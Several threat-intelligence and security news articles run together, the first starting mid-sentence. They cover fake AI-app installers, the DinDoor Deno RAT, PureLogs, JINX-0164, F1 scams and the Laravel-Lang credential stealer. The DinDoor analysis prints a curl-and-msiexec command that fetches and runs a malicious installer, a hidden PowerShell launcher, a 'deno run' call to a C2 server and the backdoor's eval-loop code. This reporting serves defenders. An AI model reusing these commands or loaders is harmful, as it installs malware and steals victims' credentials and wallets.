last two years, products like ChatGPT, Claude, Gemini, Sora, DeepSeek, Antigravity, and many others have launched or changed rapidly. Every new release creates another wave of users searching for “download ChatGPT” or “install Claude” without knowing the official URL. That search traffic is exactly where attackers set up shop. The fake pages also do not need to be especially sophisticated because legitimate AI product pages are already minimal by design: a modern layout, a logo, and a large download button. Openew[.]app matches what users expect to see. There is no broken English or aggressive pop-ups here, just identical branding, copy, and the reassuring browser padlock. What makes this kind of operation durable is how easily it can rotate brands. When the ChatGPT lure stops attracting clicks, the operators can reuse the same infrastructure around the next trending AI product. The malware behind the download button stays the same. Only the branding changes. What AI vendors could do Most major AI vendors, including OpenAI, already provide official download channels. The problem is visibility and user habit. Many users still search for “ChatGPT download,” where results can include official links, unofficial mirrors, and outright malicious sites. Large consumer brands and banks often run aggressive brand-protection campaigns against fake ads and impersonation domains. AI vendors may need to do the same more consistently. The other issue is discoverability. Official desktop-app links are often buried in settings menus or sidebars, while search engines are faster and more obvious. That’s exactly where the fake download sites are waiting. What to do if you may have installed the fake app If you recently installed something claiming to be ChatGPT from anywhere other than OpenAI’s official download page or the Microsoft Store, you may have been affected. From a different, clean device: Sign out of your important accounts using each service’s “sign out everywhere” option. This includes email, banking, cloud storage, GitHub, Discord, Telegram, and cryptocurrency exchanges. Change passwords starting with your primary email account. Rotate any API keys, SSH keys, and cloud credentials stored on the affected machine. If you hold cryptocurrency, move funds immediately using a separate clean device. On macOS specifically, do not open Ledger Live or Trezor Suite on the affected machine before reinstalling the operating system, as the wallet-replacement function may have succeeded. Monitor bank accounts and payment cards for suspicious activity. Reinstall the operating system. The Windows sample showed PowerShell command-and-control behavior, while the macOS payload may have captured the user’s login password. A clean reinstall is the safest recovery path. If this was a work device, contact your IT or security team immediately. Malwarebytes protects users against this malware. Closing thoughts The reason this campaign is worth writing about is not the malware itself. Both payloads are already well documented. The Windows side is a commodity kit assembled from cheap, widely available parts. The macOS side, Odyssey Stealer is related to the AMOS malware family that has been tracked since 2023. What’s more interesting is the shape of the operation around that malware. A single fake site delivers two different payloads aimed at two different victim economics. Windows victims are positioned for broad monetization through credential and cookie theft. Mac victims are targeted more narrowly and lucratively through cryptocurrency theft, with operators apparently willing to spend thousands per month on tooling because the returns justify it. The lure tying both sides together is the AI brand itself. Right now, AI product names generate huge amounts of first-time-download traffic from users who do not yet know the official URLs. This is what a mature delivery business looks like. The interesting layer is not the binary, but the supply chain around it: the domain, certificate, clone page, traffic source, malware subscription, and exfiltration infrastructure. Each piece is cheap, modular, replaceable, and available off the shelf. And the operators are not choosing between Windows and macOS. They are serving both from the same page, with payloads tuned to each platform’s economics. When one AI brand stops converting, they can simply swap the branding and reuse the same infrastructure around the next trending product. AI hype will eventually fade. The kit probably will not. Indicators of Compromise (IOCs) File hashes (SHA-256) c9e0e6985dca3a179c9bdea4e7b38f7dc57fe00ecedc2fd634256fc53bf2de2d (Chat_GPT.exe ) c0919e1999eaee67e67aeda0287722775afb04e9a9a0f727928b4d11265fb70b (ChatGpt.dmg ) Network indicators openew[.]app 188[.]137[.]246[.]189 192[.]253[.]248[.]181 172[.]94[.]9[.]250

A new campaign orchestrated by a previously undocumented threat actor has targeted cryptocurrency organizations with an aim to facilitate digital asset theft using recruitment-themed social engineering and bespoke macOS malware. "These campaigns leveraged sophisticated social engineering techniques, custom macOS malware, and deep targeting of CI/CD infrastructure," Wiz researchers Shira Ayal, Eden Abergil, Andre Maccarone, Yuval Dan, and Benjamin Read said. "The used methods enabled the threat actor to move laterally from compromised employee laptops to code distribution systems and development infrastructure." The Google-owned cloud security company is tracking the activity under the moniker JINX-0164. The threat actor is assessed to be active since at least mid-2025 and motivated by financial gain, targeting developers through recruitment-themed and other social engineering techniques to siphon cryptocurrencies. In at least one case, the adversary is said to have carried out a supply chain attack. In the attack chain documented by Wiz, JINX-0164 has been found to leverage credible LinkedIn profiles to approach victims and offer a virtual meeting. The meeting invite is designed to steer the target to a rogue domain that masquerades as a teleconference provider. From there, victims are tricked into downloading and executing a malicious file disguised as the meeting client. This, in turn, triggers the retrieval of a Python-based macOS infostealer and remote access trojan codenamed AUDIOFIX using a bash script hosted on a fake driver store domain ("apple.driver-store[.]com"). "The [bash] script downloaded an architecture-aware payload from the same domain, compatible with both Intel and Apple Silicon systems. The payload masquerades as a system audio driver named coreaudiod, was saved as ChromeUpdater, and was executed via launchctl," Wiz said. The Python malware is then leveraged to steal sensitive data from the compromised endpoint, laterally move to internal code distribution systems and development infrastructure by injecting the AUDIOFIX payload, and modify source code in an attempt to compromise other endpoints and steal cryptocurrency wallet credentials. The captured data includes credentials from password managers, web browsers, and iCloud Keychain files; local admin credentials; SSH keys; configuration files; console history files; cryptocurrency browser extensions information; cryptocurrency wallet addresses; and active Discord, Slack, and Telegram sessions. Besides information theft, AUDIOFIX supports several commands that allow manual reconnaissance, exfiltration, arbitrary shell command execution, file deletion, and payload retrieval from an external server. JINX-0164 has also been observed targeting software developers by impersonating recruiters, while employing the same social engineering technique: using a job opportunity ploy to set up a meeting that displays a fake technical error and instructs the victim to download a "fix" that leads to malware installation. Another key component of the threat actor's arsenal is MiniRAT, a Go-based backdoor that was previously distributed via a compromised version of an npm package named @velora-dex/sdk, a legitimate DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralized exchange platform. Per details shared by SafeDep and StepSecurity last month, the poisoned version downloaded a shell script from a remote server, which then delivered an macOS-specific binary called MiniRAT. The malware is equipped to upload files, run arbitrary shell commands, and fetch additional payloads or tools from attacker-controlled domains. It's worth noting that some aspects of the campaign, coupled with the use of VPN services like Astrill VPN and the focus on cryptocurrency and developers, are reminiscent of those used by multiple North Korean threat clusters such as BlueNoroff, Contagious Interview, and UNC1069. However, Wiz said there are no infrastructure overlaps connecting JINX-0164 to Pyongyang at this stage. "Similarly, the types of spoofing domains are similar to those used by other North Korean actors; however, JINX-0164 infrastructure does not have any overlaps with other publicly tracked North Korean groups," Wiz said.

Fake ChatGPT and Claude installers on GitHub are dropping Deno RAT malware Attackers are hosting counterfeit installers and plugins on GitHub and SourceForge that pose as widely used software, including ChatGPT, Claude, AutoTune, Kontakt, Ableton Live, and ZENOLOGY. The downloads deliver a backdoor called DinDoor, which then loads a remote access Trojan built on the Deno JavaScript runtime, according to Malwarebytes. Compromised YouTube channels push victims toward the malicious repositories. The videos promoting the fake tools have accumulated more than 50,000 views. The attackers rotate through GitHub accounts and create multiple repositories per account, refreshing the lures as old ones are taken down. Malwarebytes reported the activity to GitHub, which removed the flagged repositories, though new ones are expected to appear. Compromised YouTube channels with AI-generated videos (Source: Malwarebytes) How the infection works The malicious repositories ask visitors to open a terminal and paste a command that downloads an MSI installer or a PowerShell script from GitHub. Both Windows and macOS commands are offered. Once executed, the script installs the Scoop package manager and WinGet, then uses them to install the legitimate Deno runtime. Deno is then used to fetch and run the DinDoor backdoor directly from a remote server, with the next stage executed in memory through standard input so it never touches disk. DinDoor sets up persistence through a registry Run key, reports system details to a command-and-control server, and pulls down further payloads. In the cases analyzed, one of those payloads is a Deno-based RAT that has previously been tracked under the name Smokest. Code similarities suggest the same author or team built both tools. What the RAT can do The RAT gives operators wide control of an infected machine. It can execute arbitrary commands and PowerShell scripts, capture screenshots, manage files, launch or kill processes, and open SOCKS5 proxy tunnels. Its built-in stealer module targets more than 50 cryptocurrency wallet extensions and 10 wallet applications, including Atomic Wallet, Exodus, Electrum, and ByteCoin. It also pulls data from Chrome, Brave, Edge, Opera, Vivaldi, and other Chromium-based browsers, along with Telegram, Discord, and Lightcord. One feature stands out. To stream live video of a victim’s screen, the RAT silently launches Microsoft Edge, connects to it through the Chrome DevTools Protocol, and injects a WebRTC page. Edge then relays encrypted video frames directly to the attacker over a peer-to-peer connection, with traffic flowing through a legitimate browser process. This design helps the operator evade network detection. Legitimate platforms, legitimate tools, hidden payload The campaign blends trusted hosting, legitimate development tooling, and social engineering. GitHub and SourceForge carry credibility with developers and power users. Scoop, WinGet, and Deno are mainstream tools. Stitching them together lets the attackers stay under the radar of security products that look for unsigned binaries or unusual download sources. “The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge,” Gabriele Orini, Malware Research Engineer at Malwarebytes, explained.

A variant of the PureLogs infostealer malware has been distributed through purchase-order-themed phishing emails that use a malicious JavaScript file to launch a multi-stage infection chain on Windows systems. According to new analysis from FortiGuard Labs, the campaign uses a fake purchase order message with an attached RAR archive. The archive contains a malicious JavaScript file used to begin the execution chain. JavaScript and PowerShell Execution The phishing email tells the recipient to open the archive to view the supposed purchase order. FortiGuard Labs said the email was marked "virus detected" in the subject field and blocked by FortiMail, preventing delivery in the analyzed case. In a lab environment, FortiGuard Labs observed that, once executed, the JavaScript file decrypted PowerShell code and wrote it to a randomly named .ps1 file in the C:\Temp folder. The script was then run through PowerShell.exe with execution policy bypassed, no profile loaded and the window hidden. The dropped PowerShell file contained Base64-encoded and encrypted data. FortiGuard Labs said it decoded the content, decrypted it with an XOR-with-rotation method and executed the result as a fileless PowerShell script. That script extracted two .NET modules in memory and used process hollowing to run the payload inside MsBuild.exe, a legitimate Windows process, rather than launching the malware as a standalone executable. PureLogs Targets Credentials and Wallets The injected .NET module loaded a downloader component from an embedded resource, decrypted it using the Data Encryption Standard (DES) and decompressed it in memory. The downloader then contacted a command-and-control (C2) server and requested a plugin module. FortiGuard Labs identified the downloaded plugin as a fileless PureLogs variant. The module is designed to collect sensitive data from infected systems before compressing, encrypting and sending it back to the C2 server. Collected data includes: System details and screenshots Clipboard contents Browser credentials, cookies and session tokens Discord authentication data Cryptocurrency wallet files and keys Credentials from applications, including Outlook, FileZilla, OpenVPN and ProtonVPN The PureLogs module targeted a wide range of browsers, including Google Chrome, Microsoft Edge, Brave, Opera, Yandex Browser, Mozilla Firefox, Waterfox and LibreWolf. It also scanned Discord directories for tokens that could allow account access without the victim's password. The report advised organizations to enforce email filtering, restrict unnecessary script execution and monitor for anomalous PowerShell activity and process hollowing. FortiGuard Labs also published indicators of compromise (IoCs) and detection details for the campaign.

During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing a Deno backdoor known as DinDoor. Attackers are using compromised YouTube channels to distribute links to these platforms. DinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime. Attackers are increasingly abusing alternative JavaScript runtimes like Bun and Deno to bypass traditional detection methods. In one of our recent investigations we documented how attackers are using Bun as an initial infection vector to distribute NWHStealer. And in March, ThreatDown researchers also observed attackers using Deno to deliver CastleLoader through a multi-stage infection chain involving the ClickFix lure. These campaigns use Scoop (an alternative installer for Windows) and WinGet (the official Windows package manager) to install Deno on the victim’s machine. They then use the Deno runtime to execute a RAT capable of executing additional payloads, exfiltrating data from browsers, wallets, and other applications, which has an interesting peer-to-peer feature that uses Edge to hide malicious traffic. Legitimate platforms abused to spread malware The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases. Users are usually redirected to these malicious repositories via compromised YouTube channels. These videos currently total more than 50,000 views. The compromised YouTube channels create posts promoting different software and constantly switch between GitHub accounts to distribute the malware. The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge. We’ve observed fake MSIs and scripts masquerading as installers and plugins for legitimate software and brands such as ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. The malicious repositories have a command for both Windows and macOS. These repositories ask users to open the terminal and copy a malicious command, which downloads and executes the MSI from GitHub. Malicious GitHub accounts create multiple repositories filled with fake software and plugins related to popular software to lure in more users. We found that the same backdoor was distributed through SourceForge, mimicking a legitimate game software called GearUP and an AI watermark remover software called BWR. How to stay safe The attackers relied heavily on trust. GitHub and SourceForge are legitimate platforms, which makes fake projects look more convincing. We contacted GitHub, which quickly removed the malicious repositories, but users should expect new ones to continue appearing. Here are a few simple ways to stay safe: Only download software from official vendor websites. Be skeptical of “free”, cracked, or unofficial versions of paid software. Be cautious with downloads from GitHub, SourceForge, forums, or file-sharing sites, especially from new or unknown accounts. Attackers continue to create new profiles to distribute this malware across platforms. Check the developer or publisher’s profile, its reputation, and how recently it was created before downloading anything. Check that archive contents, images, and text files align with what you expected to download. Archive names and structures often follow recognizable malicious patterns. Check the file’s publisher and digital signature before you run it. Windows, you can usually check this by right-clicking the file, selecting Properties > Digital Signatures. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. Technical analysis The malicious GitHub repositories ask the user to open cmd and execute a malicious command. The malicious commands download an MSI from GitHub and install it via msiexec. These repositories sometimes also contain PowerShell scripts to similarly initiate the infection chain. Example of a malicious command hosted on GitHub that starts the infection chain: curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi The MSI drops a CMD file and a PowerShell script in a random directory specified in the MSI InstallationFolder and registry values. We detected different structures for these MSIs, with JavaScript instead of the CMD file, or with additional embedded files. The CMD file executes the PowerShell script, with a name that changes in the analyzed infection chains: @set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" The PowerShell script takes care of: Ensuring the package manager Scoop is installed, and installing it if missing with the official script from get.scoop.sh . Scoop is a popular, open-source command-line software installer and package manager for Microsoft Windows. Using Scoop to install WinGet (Windows Package Manager) if missing. Installs Deno (a JavaScript/TypeScript runtime) via WinGet or Scoop if not present. The usage of the package managers Scoop and WinGet to install additional software on the compromised machine is an interesting approach that gives the attacker more flexibility. Command executed to install Deno using WinGet: "C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent The DinDoor Backdoor Next, the following stage is executed with the downloaded Deno executable: "C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js The returned code (the internal name is “launcher-1”) is a small eval-loop function that downloads the next stage (the internal name is “launcher-2”). The downloaded backdoor is publicly known as DinDoor. var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))} The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2), and executes additional payloads and commands returned by the C2. The HTTP endpoints used for C2 communications vary between the analyzed cases. The backdoor obtains an ID from an HTTP endpoint (for example, /security-pool) and then uses that ID to obtain the next stage from /v2{ID}.js. The obtained stage is executed via stdin without being written to disk, using the command: deno run -A --no-check – To achieve persistence, the backdoor runs a PowerShell command to create a RUN key that executes the downloader “launcher-1” used previously: conhost.exe --headless " " -A "%APPDATA%\ .js This backdoor distributes several malware families in the analyzed cases. In this blog, we analyze one of the distributed payloads: a RAT that uses the Deno JavaScript runtime. Deno RAT The delivered RAT, like the other analyzed scripts, uses the Deno JavaScript environment and has full functionality to control the device, execute commands and payloads, and exfiltrate various types of data through its built-in stealer module. We did not find a specific name or attribution for this RAT. In the past, the RAT has been referred to as “Smokest” based on a specific value in the config. The similar commenting style and shared infrastructure suggest that the DinDoor developer and the RAT developer may be the same person or team. Picked up something you shouldn’t have? In addition to HTTP for C2 communication, the RAT also supports WebSocket communication, enabled when the JSON value isLiveEnabled returned from the C2 is set to true. The RAT supports different commands (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) and functionality: Collect system information about the compromised device Full bidirectional control through a custom VNC implementation over WebSocket Target more than 50 crypto wallet extensions and 10 crypto software folders such as Atomic Wallet, Exodus, Electrum, and ByteCoin Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo Exfiltrate Telegram, Discord, and Lightcord data Record and modify clipboard data List folders, files and exfiltrate content from files with specific extensions Capture screenshots using different methods Execute additional payloads Launch or terminate arbitrary processes Execute commands with PowerShell Establish SOCKS5 proxy tunnels over WebSocket One of the most interesting parts of the RAT is a peer-to-peer streaming mode that uses the Edge browser to hide traffic and make detection more difficult. To stream live video directly to the operator without routing it through the C2 server, the RAT spawns a hidden Microsoft Edge process and connects to it via Chrome DevTools Protocol (CDP). It then injects a small WebRTC HTML page into Edge, turning the legitimate browser into a peer-to-peer video relay. The Deno agent captures and H.264-encodes the victim’s screen, passes the frames to the Edge page over CDP, and Edge forwards them directly to the operator’s browser over an encrypted WebRTC DataChannel. SDP and ICE signaling, needed to establish the direct connection, is exchanged through the existing C2 WebSocket. The RAT uses the following endpoints for C2 communication, which can vary between samples: /health : checks the “ok” response from the C2 /token : receive config parameters, task delivery, results, and exfiltrated data /vnc/agent/ : WebSocket path used for VNC communication The config data is Base64-encoded and is sent in communications with the C2 as an authorization token. Decoded config data: { "buildId": "cd361ef3159f5ce9", "buildNote": "BWR", "buildType": "msi-v2", "proxyUrls": ["{C2}"], "userId": "…", "accessTokenHash": "…", "iat": 1779372546, "exp": 2094948546 } We found different versions of this RAT, including a “light” version called “agent-lite” that supports only a few commands and uses Cloudflare Workers for C2 communication. Acknowledgements DinDoor: https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis Smokest: https://x.com/vxunderground/status/2013006601133687004 Indicators of Compromise (IOCs) URLs https[:]//github.com/claude-free-plugin/ https[:]//github.com/ai-gen-profi https[:]//github.com/wharfdemolisherpit https[:]//sourceforge.net/projects/gearup/ https[:]//sourceforge.net/projects/bluewaveremover/ Domains claudescript[.]top : distribution website ms-telemetry-gateway-us[.]com : C2 dakatawebstick[.]com : C2 ashpaltlonpro[.]com : C2 cf-proxy[.]cloud-analytics-services[.]workers.dev : C2 agilemast3r[.]duckdns[.]org : C2 geralnewlong[.]com : C2 hngfbgfbfb[.]cyou : C2 logicalnewrestore[.]com : C2 IPs 23[.]227[.]196[.]107 : C2 45[.]137[.]99[.]121 : C2 31[.]57[.]129[.]23 : C2 66[.]78[.]40[.]107 : C2 193[.]233[.]198[.]132 : C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Cybercriminals and fraudsters have dedicated entire ecosystems to scamming and stealing from Formula 1 fans, a new report has warned. According to the Bitdefender Cybersecurity Grand Prix Fan Threat Index, the growing global digital ecosystem around motorsport makes it an ideal target for scammers. Fans and Formula 1 teams alike now find themselves in attackers’ crosshairs. Scams targeting F1 fans range from being sold counterfeit merchandise and fake grand prix tickets, to illegal streaming services and social media scams. All designed to steal personal information, credit card details, generate illicit revenue and distribute malware. Motorsport fans are also being duped into having their devices unwittingly roped into being part of a notorious botnet of millions of devices used to carry out DDoS attacks, according to Bitdefender. “Why motorsports? Because things are moving fast and when things are moving fast, people make mistakes,” said Bogdan Botezatu, senior director of threat research at Bitdefender. The new Bitdefender report is the culmination of a yearlong project analyzing the cybercriminal landscape around Formula 1 weekends. “We know how cybercriminals operate before, during the races and after them,” said Botezatu during the launch of the report at Maranello, Italy, the headquarters of the Scuderia Ferrari HP Formula 1 team, of which Bitdefender is the official cybersecurity. Fake F1 Streaming Apps Like many sports, F1 races are mostly locked behind TV channels or online services which require paid subscriptions. One of the most common scams deployed by cybercriminals during race weekends is tricking people into downloading applications which they are told will allow them to watch the races for free. Advertised on social media, Discord and Telegram, these applications require users to manually install APK files outside official app stores. In some instances, the report explained, scammers use the Clickfix social engineering technique to bypass any protections users may have on their device. Those who use illegitimate streaming services are often unknowingly providing scammers with various monetization streams. This can range from excessive advertising, forced redirects and aggressive pop-ups, all the way up to installing infostealer malware on the victim’s machine with the aim of stealing their usernames, passwords and banking information. And to add insult to injury, the victim has likely been tricked into downloading a falsely advertised app which doesn’t even show the race in the first place. An alternative option some fans have turned towards to watch F1 broadcasts are streaming boxes. With cost in mind, many users have purchased cheap, third-party boxes. While they may save the user money, they can come with unexpected cybersecurity risks like malware pre-installed on the device. Formula 1 Fans Targeted by Counterfeit Merchandise Many Formula 1 fans are passionate about a particular team, especially the more high-profile entrants, such as Mercedes, McLaren, Ferrari or Red Bull. However, official merchandise isn’t cheap, meaning many fans will actively be on the lookout for discounts and deals. According to Bitdefender, fake motorsport shops aggressively advertise on social media, promoting heavily discounted merchandise through adverts on social media. A common scam sees fraudsters post adverts which claim to offer merchandise at 80% discounts. It’s a pattern which has been used to scam fans of other major sporting events like the World Cup or the Olympics. In some cases, the buyer will receive a shoddy discount bootleg of real merchandise. In others, the fake online store serves as a phishing site and is used to steal personal information and banking information. In both cases, this scam infrastructure is set up by threat actors who are skilled at cloning websites and exploiting social media platforms to promote them. To avoid falling victim to cybercrime and scams around Formula 1, sports and other major events, Bitdefender has urged users to be wary of products and services offered which seem to be good to be true. Anti-phishing or anti-virus applications can also help users stay safe. Image credit: cristiano barni / Shutterstock.com

Week in review: GitHub breached via poisoned VS Code extension, critical NGINX flaw exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: GitHub, Grafana Labs breaches traced back to TanStack supply chain compromise GitHub CISO Alexis Wales has named the malicious VS Code extension behind the breach they suffered at the hands of the threat group TeamPCP: Nx Console, a popular developer tool with 2.2 million installs. Earbud sensors can authenticate users by their heartbeat, study finds Researchers built a continuous authentication system called AccLock that identifies a wearer by the tiny vibrations a heartbeat makes inside the ear canal. Attackers are exploiting critical NGINX vulnerability (CVE-2026-42945) A critical NGINX vulnerability (CVE-2026-42945) disclosed last week is being exploited by attackers, VulnCheck security researcher Patrick Garrity revealed on Saturday. Communicating cyber risk in dollars boards understand In this Help Net Security interview, Nick Nieuwenhuis, Cybersecurity Architect at Nedscaper, explains why cybersecurity has not delivered the resilience that decades of investment have promised. Microsoft provides mitigation for “YellowKey” BitLocker bypass flaw (CVE-2026-45585) Microsoft is working on a fix for CVE-2026-45585 (aka “Yellowkey”), a vulnerability that can be used by attackers to bypass protections offered by BitLocker, the full-disk encryption feature built into Windows, and access users’ data. Why AI changed the threat model for travel technology In this Help Net Security interview, Devon Bryan, SVP, Global CSO at Booking Holdings, reflects on his path from Air Force network security engineer to global CSO across financial services, hospitality, and travel technology. Deleted Google API keys keep working for up to 23 minutes, researchers warn Google API keys are credentials that let applications access Google services, from Maps to the Gemini AI. If a key is leaked, an attacker can use it to make API calls, rack up charges, and, if Gemini is enabled, access uploaded files and cached conversations. The assumed fix is simple: delete the key. But Aikido Security has found that deletion doesn’t actually work right away. Microsoft open-sources tools for designing and testing AI agents Microsoft has open-sourced two tools aimed at bringing security discipline to AI agent development: Clarity, a structured design review tool, and RAMPART, a continuous testing framework. AI red teaming agents change how LLMs get tested Adversarial probing of LLMs has piled up a sprawling toolkit over the past three years. Attack techniques with names like Tree of Attacks with Pruning, Crescendo, and Skeleton Key sit alongside hundreds of prompt transforms and scoring methods across open-source frameworks including Microsoft’s PyRIT, NVIDIA’s Garak, and Promptfoo. Microsoft Defender vulnerabilities exploited in the wild (CVE-2026-41091, CVE-2026-45498) Attackers are exploiting two Microsoft Defender vulnerabilities (CVE-2026-41091 and CVE-2026-45498), Microsoft acknowledged and CISA confirmed by adding them to its Known Exploited Vulnerabilities catalog. Verizon DBIR: Vulnerability exploitation is the dominant initial access vector Vulnerability exploitation has overtaken stolen credentials as the most common way attackers gain initial access to target networks, according to the 2026 Verizon Data Breach Investigations Report. PureLogs infostealer is stealing credentials worldwide A phishing campaign is smuggling the powerful PureLogs information stealer onto targets’ Windows machines by hiding encrypted malicious payloads inside cat photos, Fortinet researchers discovered. New macOS infostealer impersonates Apple, Microsoft, and Google in a single attack chain A SHub macOS infostealer variant called Reaper impersonates Apple, Microsoft, and Google to trick users into executing malicious code, then targets browser data, password managers, and cryptocurrency wallets while establishing persistence for continued access, SentinelOne found. AI is drowning software maintainers in junk security reports AI-assisted vulnerability research has exploded, unleashing a firehose of low-quality reports on overworked software maintainers who are wasting hours sifting through noise instead of fixing real problems. The end of unencrypted Discord calls is here Discord has protected voice and video calls in DMs, group DMs, voice channels, and Go Live streams with end-to-end encryption (E2EE) by default. The AI backdoor your security stack is not built to see Enterprises deploying LLMs have spent the past two years building defenses around a reasonable assumption: malicious behavior leaves a trace in the input. Scan for suspicious tokens, filter unusual characters, watch for prompt injection patterns. New research from Microsoft and the Institute of Science Tokyo demonstrates that this defensive posture has a blind spot, and the cost of that blind spot could be measured in leaked proprietary data and regulatory exposure. When ransomware hits, confidence doesn’t restore endpoints Ransomware, supply chain vulnerabilities, insider threats, compliance failures, and software disruptions remain major concerns for security leaders, according to The Ransomware Reality: Zero Days to Recover report by Absolute Security. AI shrinks vulnerability exploitation window to hours Time has become organizations’ biggest vulnerability because the gap between vulnerability discovery and exploitation has narrowed to hours, according to Synack’s 2026 State of Vulnerabilities Report. Most dark web activity revolves around a handful of topics A six-year dataset covering more than 25,000 dark web sites tracked what people discussed in underground forums and marketplaces and how those discussions changed over time. Public Instagram posts provide raw material for AI phishing campaigns A handful of public Instagram posts can give attackers enough material to generate convincing phishing emails with GenAI. Research from the University of Texas at Arlington and Louisiana State University showed how public social media activity can be turned into phishing messages that appear personal and credible to human recipients. CVE Lite CLI: Open-source dependency vulnerability scanner Dependency vulnerability scanning in JavaScript and TypeScript projects has long sat at the end of the development pipeline. Pull requests get opened, continuous integration runs, and a security scanner returns a list of CVE identifiers that developers then have to triage hours or days after writing the code. CVE Lite CLI, now an officially recognized OWASP Incubator Project, moves that check to the developer’s terminal. What happens when your identity provider becomes the kill chain In this Help Net Security video, Colin Constable, CTO at Atsign, explains why your identity provider (IdP) has become the kill chain in cyberattacks. Attackers steal session cookies, tokens, or consent grants you’ve already issued and walk in behind you. 7 hard truths security pros should know: 2026 DevOps Threats Report In 2025, trusted Git hosting platforms became a playground for cyber criminals. This is the main conclusion from the latest “DevOps Threat Unwrapped Report 2026” by GitProtect. Product showcase: Bitdefender Mobile Security for iOS protects privacy where scams begin Bitdefender Mobile Security for iOS is a security and privacy application for iPhone and iPad that helps protect against phishing attempts, online scams, unsafe websites, and account exposure. Cybersecurity jobs available right now: May 19, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: May 22, 2026 Here’s a look at the most interesting products from the past week, featuring releases from ASAPP, Babel Street, CTERA, Forward, Riverbed, and Trust3 AI.

Cybersecurity researchers have flagged a fresh software supply chain attack campaign that has targeted multiple PHP packages belonging to Laravel-Lang to deliver a comprehensive credential-stealing framework. The affected packages include - laravel-lang/lang laravel-lang/http-statuses laravel-lang/attributes laravel-lang/actions "The timing and pattern of the newly published tags point to a broader compromise of the Laravel Lang organization's release process, rather than a single malicious package version," Socket said. "The tags were published in rapid succession on May 22 and May 23, 2026, with many versions appearing only seconds apart." More than 700 versions associated with these packages have been identified, indicating automated mass tagging or republishing. It's suspected that the attacker may have managed to obtain access to organization-level credentials, repository automation, or release infrastructure. What makes the attack stand apart from is that the actual project's source code was not altered to include the malware. Instead, the attackers rewrote every existing git tag in each repository to point to a new malicious commit. The core malicious functionality is located in a file named "src/helpers.php" that's embedded into the version tags. It's mainly designed to fingerprint the infected host and contact an external server ("flipboxstudio[.]info") to retrieve a PHP-based cross-platform payload that runs on Windows, Linux, and macOS. "The attacker added src/helpers.php to the autoload.files map in each compromised package," StepSecurity said. "Because every Laravel application calls require DIR.'/vendor/autoload.php' on startup, and because Symfony, PHPUnit, and most other PHP frameworks do the same, the payload runs the moment any consumer of the package boots. No class instantiation, no method call, no special trigger is required." According to Aikido Security, the dropper delivers a Visual Basic Script launcher on Windows and runs it via cscript. On Linux and macOS, it executes the stealer payload via exec(). "Because this file ['src/helpers.php'] is registered in the composer.json under autoload.files, the backdoor is executed automatically on every PHP request handled by the compromised application," Socket explained. "The script generates a unique per-host marker (an MD5 hash combining the directory path, system architecture, and inode) to ensure the payload only triggers once per machine. This prevents redundant executions and helps the malware remain undetected after the initial run." The stealer is equipped to harvest a wide range of data from compromised systems and exfiltrate it to the same server. This includes - IAM roles and instance identity documents by querying cloud metadata endpoints Google Cloud application default credentials Microsoft Azure access tokens and service principal profiles Kubernetes Service Account tokens and Helm registry configurations Authentication tokens for DigitalOcean, Heroku, Vercel, Netlify, Railway and Fly.io HashiCorp Vault tokens Tokens and configurations from Jenkins, GitLab Runners, GitHub Actions, CircleCI, TravisCI, and ArgoCD Seed phrases and files associated with cryptocurrency wallets (Electrum, Exodus, Atomic, Ledger Live, Trezor, Wasabi, and Sparrow) and extensions (MetaMask, Phantom, Trust Wallet, Ronin, Keplr, Solflare, and Rabby) Browser history, cookies, and login data from Google Chrome, Microsoft Edge, Mozilla Firefox, Brave, and Opera by using a Base64-encoded embedded Windows executable that bypass Chromium's app-bound encryption (ABE) protections Local vaults and browser extension data for 1Password, Bitwarden, LastPass, KeePass, Dashlane, and NordPass PuTTY/WinSCP saved sessions Windows Credential Manager dumps WinSCP saved sessions RDP files Session tokens associated with applications like Discord, Slack, and Telegram Data from Microsoft Outlook, Thunderbird, and popular FTP clients (FileZilla, WinSCP, and CoreFTP) Configuration and credential files containing Docker auth tokens, SSH private keys, Git credentials, shell history files, database history files, Kubernetes cluster configurations, .env files, wp-config.php, and docker-compose.yml Environment variables loaded into the PHP process Source control credentials from global and local .gitconfig files, .git-credentials, and .netrc files VPN configuration and saved login files for OpenVPN, WireGuard, NetworkManager, and commercial VPNs such as NordVPN, ExpressVPN, 